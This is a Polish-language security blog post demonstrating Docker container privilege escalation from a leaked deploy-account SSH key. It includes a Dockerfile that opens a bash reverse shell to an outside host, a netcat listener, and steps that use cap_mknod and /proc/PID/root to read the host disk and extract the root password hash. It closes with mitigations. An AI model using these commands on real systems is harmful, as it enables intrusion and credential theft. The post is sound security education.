NFsec Logo

Nadużywanie rozszerzonych możliwości kontenerów Dockera do eskalacji uprawnień

03/07/2021 (3 tygodnie temu) w Bezpieczeństwo Brak komentarzy.  (artykuł nr 790, ilość słów: 984)

W

yobraźmy sobie następujący scenariusz. Wyciekł klucz SSH umożliwiający zalogowanie się do zwykłego konta platformy wdrożeniowej. Był on używany do wdrażania i aktualizacji repozytoriów za pomocą ansible. Umożliwia on zalogowanie się na powłokę systemową grupy serwerów, na której są budowane i uruchamiane kontenery Docker. Samo konto nie posiada żadnych dodatkowych uprawnień ani grup. Zastanówmy się teraz w jaki sposób możemy dokonać eskalacji uprawnień wykorzystując jedną z przestrzeni nazw (ang. namespace) kontenera Docker oraz rozszerzonej możliwości Linuksa (ang. capabilities).

Reverse shell:

Pierwszym krokiem będzie spreparowanie pliku Dockerfile, który umożliwi nam dostanie się do powłoki kontenera na etapie budowania obrazu:

FROM ubuntu:latest

RUN /bin/bash -c 'while :;do sleep 5;/bin/bash -i >/dev/tcp/192.168.56.3/8080 0<&1 
2>&1;done'

CMD ["/bin/bash"]

Na maszynie o adresie 192.168.56.3 uruchamiamy nasłuch netcat:

netcat -v -l -p 8080

Gdy tylko spreparowany plik wyślemy na platformę wdrożeniową i uruchomi się proces budowy to na maszynie atakującego, na porcie 8080 powinna zgłosić się nam powłoka /bin/bash z uprawnieniami administratora na kontenerze:

listening on [any] 8080 ...
192.168.56.2: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.2] 47906
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@1b7deb005258:/# 

Przestrzenie nazw:

Zatrzymajmy się tutaj na chwilę. Jądro systemu Linux udostępnia siedem przestrzeni nazw (pid, net, uts, user, mnt, ipc, cgroup), które służą do izolowania określonych części systemu. Na przykład przestrzeń nazw identyfikatorów procesów (PID) umożliwia procesowi nadrzędnemu i jego procesom podrzędnym wyizolowany widok uruchomionych procesów w systemie. Przestrzeń nazw sieci (NET) umożliwia zestawowi procesów posiadanie własnego widoku sieci, który jest używany do nadawania skonteneryzowanym obiektom własnego adresu IP. Tutaj musimy skupić się na przestrzeni nazw montowania (MNT) i przestrzeni nazw użytkownika (USER). Pierwsza pozwala zestawowi procesów mieć własny widok systemu plików, a druga pozwala użytkownikowi uzyskać dostęp do działań wcześniej dozwolonych tylko dla użytkownika root – o ile te działania wpływają tylko na ich własną przestrzeń nazw.

Jedną ze specjalnych cech przestrzeni nazw montowania jest to, że można uzyskać do niej dostęp poprzez foldery: /proc/$PID/root oraz /proc/$PID/cwd. Foldery te umożliwiają procesom w nadrzędnej przestrzeni nazw montowania (MNT) i przestrzeni nazw procesów (PID) tymczasowe wyświetlanie plików w przestrzeni nazw montowania (MNT) innego procesu. Dostęp ten jest nieco magiczny i ma pewne ograniczenia – na przykład pliki wykonywalne setuid nie będą działać, a pliki urządzeń nadal będą dostępne, nawet jeśli /proc jest zamontowany z opcją nodev. Zacznijmy od nadużycia faktu, że flaga montowania nodev nie jest respektowana.

W tym scenariuszu mamy atakującego z uprawnieniami root na kontenerze Docker i zwykłą powłoką na hoście utrzymującym te kontenery. Kontenery Docker nie używają przestrzeni nazw użytkowników (USER); użytkownik root w kontenerze ma dostęp do tego samego użytkownika (root) poza kontenerem. Jednak Docker usuwa szereg rozszerzonych możliwości z użytkownika root w kontenerze, aby upewnić się, że nie będzie on miał wpływu na nic poza kontenerem. Domyślnie Docker ma następujące rozszerzone możliwości:

root@darkstar:~# ps xuaw | grep 'docker run'
root  1120  0.1  1.4 903804 57032 pts/0  Sl+  22:14  0:00 docker run -i -t ubuntu:latest

root@darkstar:~# grep Cap /proc/1120/status
CapInh:	0000000000000000
CapPrm:	0000003fffffffff
CapEff:	0000003fffffffff
CapBnd:	0000003fffffffff
CapAmb:	0000000000000000

root@darkstar:~# capsh --decode=0000003fffffffff
0x0000003fffffffff= cap_chown, cap_dac_override, cap_dac_read_search, cap_fowner, 
cap_fsetid, cap_kill, cap_setgid, cap_setuid, cap_setpcap, cap_linux_immutable,
cap_net_bind_service, cap_net_broadcast, cap_net_admin, cap_net_raw, cap_ipc_lock,
cap_ipc_owner, cap_sys_module, cap_sys_rawio, cap_sys_chroot, cap_sys_ptrace,
cap_sys_pacct, cap_sys_admin, cap_sys_boot, cap_sys_nice, cap_sys_resource,
cap_sys_time, cap_sys_tty_config, cap_mknod, cap_lease, cap_audit_write,
cap_audit_control, cap_setfcap, cap_mac_override, cap_mac_admin,cap_syslog, 
cap_wake_alarm, cap_block_suspend, cap_audit_read

Większość z tych rozszerzonych możliwości jest trudna do nadużycia. Na przykład cap_kill umożliwia użytkownikowi root na zabicie wszystkich procesów, które widzi – ograniczone przez przestrzeń nazw identyfikatorów procesów (PID) pozwala zrobić to tylko w ramach kontenera. Aczkolwiek kontener ma również przyznane cap_mknod, co pozwala użytkownikami root w kontenerze tworzyć pliki urządzeń blokowych. Pliki urządzeń to specjalne obiekty używane do uzyskiwania dostępu do sprzętu leżącego pod systemem. Na przykład plik urządzenia blokowego /dev/sda daje dostęp do odczytu surowych danych na dysku systemowym.

Droga do eskalacji:

Docker zapewnia, że urządzenia blokowe nie mogą być nadużywane z poziomu kontenera, ustawiając w kontenerze zasady cgroup (ang. linux control groups), które blokują odczyt i zapis urządzeń blokowych. Jeśli jednak urządzenie blokowe jest tworzone w kontenerze, można uzyskać do niego dostęp za pośrednictwem folderu /proc/$PID/root spoza kontenera. Jedyne ograniczenie polega na tym, że proces musi być własnością tego samego użytkownika poza i wewnątrz kontenera. Posiadając tą wiedzę przejdźmy do eskalacji uprawnień. Wewnątrz kontenera tworzymy urządzenie blokowe:

root@1b7deb005258:/# mknod sda b 8 0
root@1b7deb005258:/# chmod 777 sda

Na serwerze, do którego wyciekł klucz SSH sprawdzamy jakie UID i GID posiada zwykły użytkownik, na którego możemy się zalogować:

deploy@darkstar:~$ id
uid=1000(deploy) gid=1000(deploy) groups=1000(deploy)
deploy@darkstar:~$ grep deploy /etc/passwd
deploy:x:1000:1000:deploy:/home/deploy:/bin/bash

Dodajemy takiego samego użytkownika na kontenerze:

root@1b7deb005258:/# echo "deploy:x:1000:1000:deply:/home/deply:/bin/bash" >> /etc/passwd
root@1b7deb005258:/# echo "deploy:x:1000:" >> /etc/group
root@1b7deb005258:/# passwd deploy
New password: ********
Retype new password: ********
passwd: password updated successfully

Na tym samym kontenerze uruchamiamy powłokę z prawami dodanego użytkownika:

root@1b7deb005258:/# su - deploy
su: warning: cannot change directory to /home/deploy: No such file or directory
agresor@1b7deb005258:/$ /bin/sh
$

Na serwerze hostującym kontener szukamy procesu powłoki /bin/sh:

deploy@darkstar:~$ ps xuaw| grep '/bin/sh'
deploy     1579  0.0  0.0   2608   536 pts/0    S+   Jul02   0:00 /bin/sh

Wróćmy teraz do wspomnianej wyżej ścieżki: /proc/$PID/root. W celu demonstracji, że użytkownik deploy z poziomu serwera ma teraz pełny dostęp do systemu plików na dysku /dev/sda – pobierzemy sobie hasło użytkownika root z pliku /etc/shadow tego serwera:

deploy@darkstar:~$ grep -a 'root:\$.\$' /proc/1579/root/sda
root:$6$MBnH8vSfmWFIUWCO$kNnXxdXvBz/4wGEnHIt2Ctt4b9r...sjAx4NiNgBvIG/:18804:0:99999:7:::

Tego rodzaju eskalacji można bardzo łatwo zapobiec. Po pierwsze przestrzegając jednej z najlepszych praktyk jeśli chodzi o kontenery, czyli upewniając się, że nikt nie uruchamia procesów jako root w kontenerze oraz uruchamiając sam obraz kontenera z parametrem --cap-drop=MKNOD. Bardzo wiele kontenerów jest uruchamianych z dużo większymi uprawnieniami niż potrzebują. Rezygnacja z większości z nich (szczególnie na środowisku produkcyjnym) może być dobrym pomysłem.

Więcej informacji: Secure Your Containers with this One Weird Trick, The 7 most used Linux namespaces, A Linux sysadmin’s introduction to cgroups, Abusing access to mount namespaces through /proc/pid/root

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , ,

Komentowanie tego wpisu jest zablokowane.